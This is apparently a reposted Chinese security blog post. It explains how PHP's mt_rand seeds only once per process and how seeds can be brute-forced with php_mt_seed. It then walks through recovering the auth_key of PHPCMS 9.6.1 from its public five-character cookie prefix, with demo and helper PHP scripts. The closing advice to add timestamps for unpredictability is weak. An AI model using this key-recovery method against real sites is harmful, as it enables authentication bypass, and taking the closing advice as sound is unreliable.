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PHP mt_rand 伪随机数安全探讨

2020-08-28 17:16

 

概念

php中 mt_rand 函数可用于生成伪随机数,但是伪随机数是可被预测的。

mt_rand 是通过撒播随机数种子来生成随机数的,随机数种子范围是 unsigned int,即 0 – 4294967295。

mt_rand 生产的随机数在同一个句柄中,只播撒一次种子,之后生成的随机数都使用同一个种子进行生成。
所以说只要爆破到了正确的种子,即可预测生产的随机数。

种子相同、PHP版本(确切的说是PHP内核中 mt_rand的代码逻辑)相同,生成的随机数都是一样的。理论上来说只要拿到了生成的随机数,我们就可以在本地进行种子的爆破。

备注:本次实验使用的PHP版本为 PHP-5.6

 

mt_rand源码翻阅

关于只撒播一次种子这一点我们可以看下 PHP 关于 mt_rand 的源码:

github:https://github.com/php/php-src

mt_rand 的源码在 /ext/standard/rand.c 中:

看到一个很明显的调用 php_mt_srand 函数的代码段。先判断了 BG(mt_rand_is_seeded) 再调用 php_mt_srand函数。

直接从字面意义上看,mt_rand_is_seeded 似乎就是一个标志位,用于判断是否已经播过种。而 php_mt_srand 似乎就是 php的播种函数 mt_srand

 

只播一次种

验证一下,首先,我们看看BG函数是个什么东西:

找BG函数的直接跳转跳转不过去的话,就直接看 rand.c 文件中引入了什么文件:

引入了4个自定义的头文件,我们再分别去这四个文件中进行搜索关键字 BG。最终在 basic_functions.h 中找到 BGBG 是一个宏定义:

宏定义简单理解就是把 传入的参数值参数名 进行 替换 并返回, mt_rand 调用 BG 的时候是这样写的:

传入的参数值就是 mt_rand_is_seeded,在宏定义 BG 中就变成了

宏定义代码:
#define BG(v) (basic_globals.v)
调用BG:
BG(mt_rand_is_seeded)
那么在宏定义代码中,v 就变成了 mt_rand_is_seeded,宏定义将返回:
basic_globals.mt_rand_is_seeded

而下面一行是引用在外处的 php_basic_globals 类型的变量 basic_globalsbasic_globals 具体在哪个源文件我们可以不用管。我们只需要知道php_basic_globals 类型 是一个结构体。结构体就像一个数组,获取结构体中的元素可以使用 “.” 来获取对应名称元素的值。

宏定义最终替换成了 basic_globals.mt_rand_is_seeded 并返回。

意思是获取 php_basic_globals 类型的 basic_globalsmt_rand_is_seeded 元素 的值并返回。

mt_rand_is_seeded 在 结构体 php_basic_globals 有这么一段注释:

Whether mt_rand() has been seeded     #mt_rand 是否已经进行播过种

zend_bool 类型就是一个普通的 Char 类型:

ps:在sublime 中鼠标放在代码上面,如果可以跳转的话会列出可跳转的文件哦。

这样就知道 BG宏定义 的作用了:

用来返回在 php_basic_globals 类型结构体变量 basic_globals 中指定的元素值。

BG(mt_rand_is_seeded),返回的是 mt_rand 是否已经播过种。如果没有播种,才会调用 php_mt_srand

我们继续简单看下 php_mt_srand 的逻辑。

前两行代码猜测就是用来播种的,播完种后,将会将 mt_rand_is_seeded 的值设置为 1

由此可以准确下结论:mt_rand 只播种一次

 

PHP cli 中进行 mt_rand 种子爆破

说到PHP mt_rand 种子爆破,就不得不提到专门进行这项工作的神器 php_mt_seed,速度极快。

下载地址:https://www.openwall.com/php_mt_seed/

写个测试的PHP文件:

<?php
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
?>

使用php cli 运行:

取第一个随机数 2114192623。使用 php_mt_seed 进行爆破:

进行手动播种测试:

生成的随机数与第一次生成的一样。说明爆破到了正确的种子。

 

Web服务器 与 PHP

为什么 PHP使用Web服务器运行 和 PHP cli运行 要分开两个标题呢。不是一样的原理嘛?获取到第一个随机数值进行爆破?
原理是一样的,只不过这里有一个坑。。。。

PHP进程

当PHP运行在Web服务器上时,服务器与PHP之间是通过进程来进行通信。除了服务器使用 CGI模式(每次请求都调用php.exe、解析php.ini)运行PHP。其他方式如Fast-cgimod_php 方式,都会创建一个类似 连接池 一样的东西,提高效率。

连接池的存在相当于 反复利用同一个 PHP进程。如果请求量稍微大一点的话,或者说是我们自己请求多了一两次。这样同一个PHP进程就会被反复调用好几次。而 mt_rand 在同一个进程中只播一次种。这种情况下我们就无法拿到第一次请求时的 mt_rand 随机数值,便无法正确爆破种子。

可以使用 PHP 内置函数 getmypid 获取到当前PHP进程id,从而判断服务器调用的 PHP进程 是新进程还是旧进程

代码:

<?php
echo getmypid();
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
?>

重启 apache 服务器(为了把之前可能开的 PHP 进程弄没),再去访问

可以看到第二次访问和第四次访问 pid 都相同。取 pid 1031 中产生的第一个 mt_rand 随机数进行种子爆破:

得到种子之后手动播种验证:

<?php
echo getmypid();
mt_srand(2828230886);
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
//两次请求调用同样pid的PHP进程
//其中 第二次请求生成的随机数
//应是 顺着 第一次请求的随机数继续生成
//而非重新播种
echo '================';
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
var_dump(mt_rand());
?>

正因这样的神奇之处,我们进行随机数种子爆破时,如果运气不好没有取到第一次调用 PHP进程生成的 mt_rand 随机数,那就无法正确爆破出正确的种子。

 

PHPCMS auth_key

PHPCMS在9.6.2以及之后修复了由于 mt_rand 而导致的 auth_key 可爆破。

下一个 9.6.1的进行简单的审计。github:https://github.com/forget-code/phpcms

先重启一下apache回收掉PHP进程

PHPCMS生成 auth_key 的逻辑在 /install/install.php 中。前面的逻辑都很简单就不一一带入。有兴趣的可自行下载看看。这里讨论生成以及爆破 auth_key 的过程

PHPCMS 调用自写的 random 函数生成 cookie_preauth_key

$cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'_';
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');

random 函数逻辑如下:

function random($length, $chars = '0123456789') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
//生成 $hash原理是从传入的字符串中随机取下标
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

$cookie_pre 是在PHPCMS安装完后前台能够获取到的。只有五位。
$auth_key 是 PHPCMS在鉴权的时候需要使用的关键密钥。这段代码中由于采取了 mt_rand 来生成随机数下标。我们可以很简单的通过 cookie_pre 爆破得到种子,再通过种子推算 $auth_key 的值。

把这段关键代码拷出来写一个 demo.php

<?php
function random($length, $chars = '0123456789') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];//生成 $hash原理是从传入的字符串中随机取下标
}
return $hash;
}
$cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'_';
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
var_dump($cookie_pre);
var_dump($auth_key);
?>

如果我们想使用 mt_seed 进行爆破的话,直接 ./php_mt_seed qoOMZ 是么得的,我们需要整理成符合 php_mt_seed 爆破的格式。

查看 php_mt_seed 文档 https://www.openwall.com/php_mt_seed/README

发现符合整理 auth_key 生成规则的PHP脚本:

<?php
//需要修改成对应PHPCMS cookie_pre传入的字符串,本次案例为 abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
//传入PHPCMS生成好的cookie_pre,本次案例为 qoOMZ
$pass = $argv[1];
for ($i = 0; $i < strlen($pass); $i++) {
//获取对应字符在字符串中的位置,也就相当于逆向推出 mt_rand 生成的值
$number = strpos($allowable_characters, $pass[$i]);
//输出php_mt_seed进行种子爆破所需要的格式。
// 0 $len 应该是在爆破破解的时候,作为 mt_rand 的范围参数
echo "$number $number 0 $len ";
}
echo "\n";
?>

生成符合爆破规则的字符串

使用 php_mt_seed 进行爆破:

手动播种,测试是否是正确种子:

种子正确。

细节注意:

如果 mt_srand 写在了函数 random 里面的话,将无法获取正确值:

生成 cookie_pre 是正确的,但 auth_key 是错误的。

这是因为,第二次调用 random 时,正常情况下 mt_rand 应该顺着第一次调用的随机数种子继续生成。但由于 mt_srand 写在了函数中。导致重新播种。

 

总结

mt_rand 生成的是伪随机数。所以如果想用在类似 token 或者密钥 之类的地方。想要生成一个不会被猜测到的随机数的话,建议可以与时间戳函数相结合,提高不可预测性。

不过也由于服务器与PHP之间交互的微妙关系,爆破种子的时候如果爆出来的不能用的话,也么的办法了。


知识来源: https://www.anquanke.com/post/id/215349

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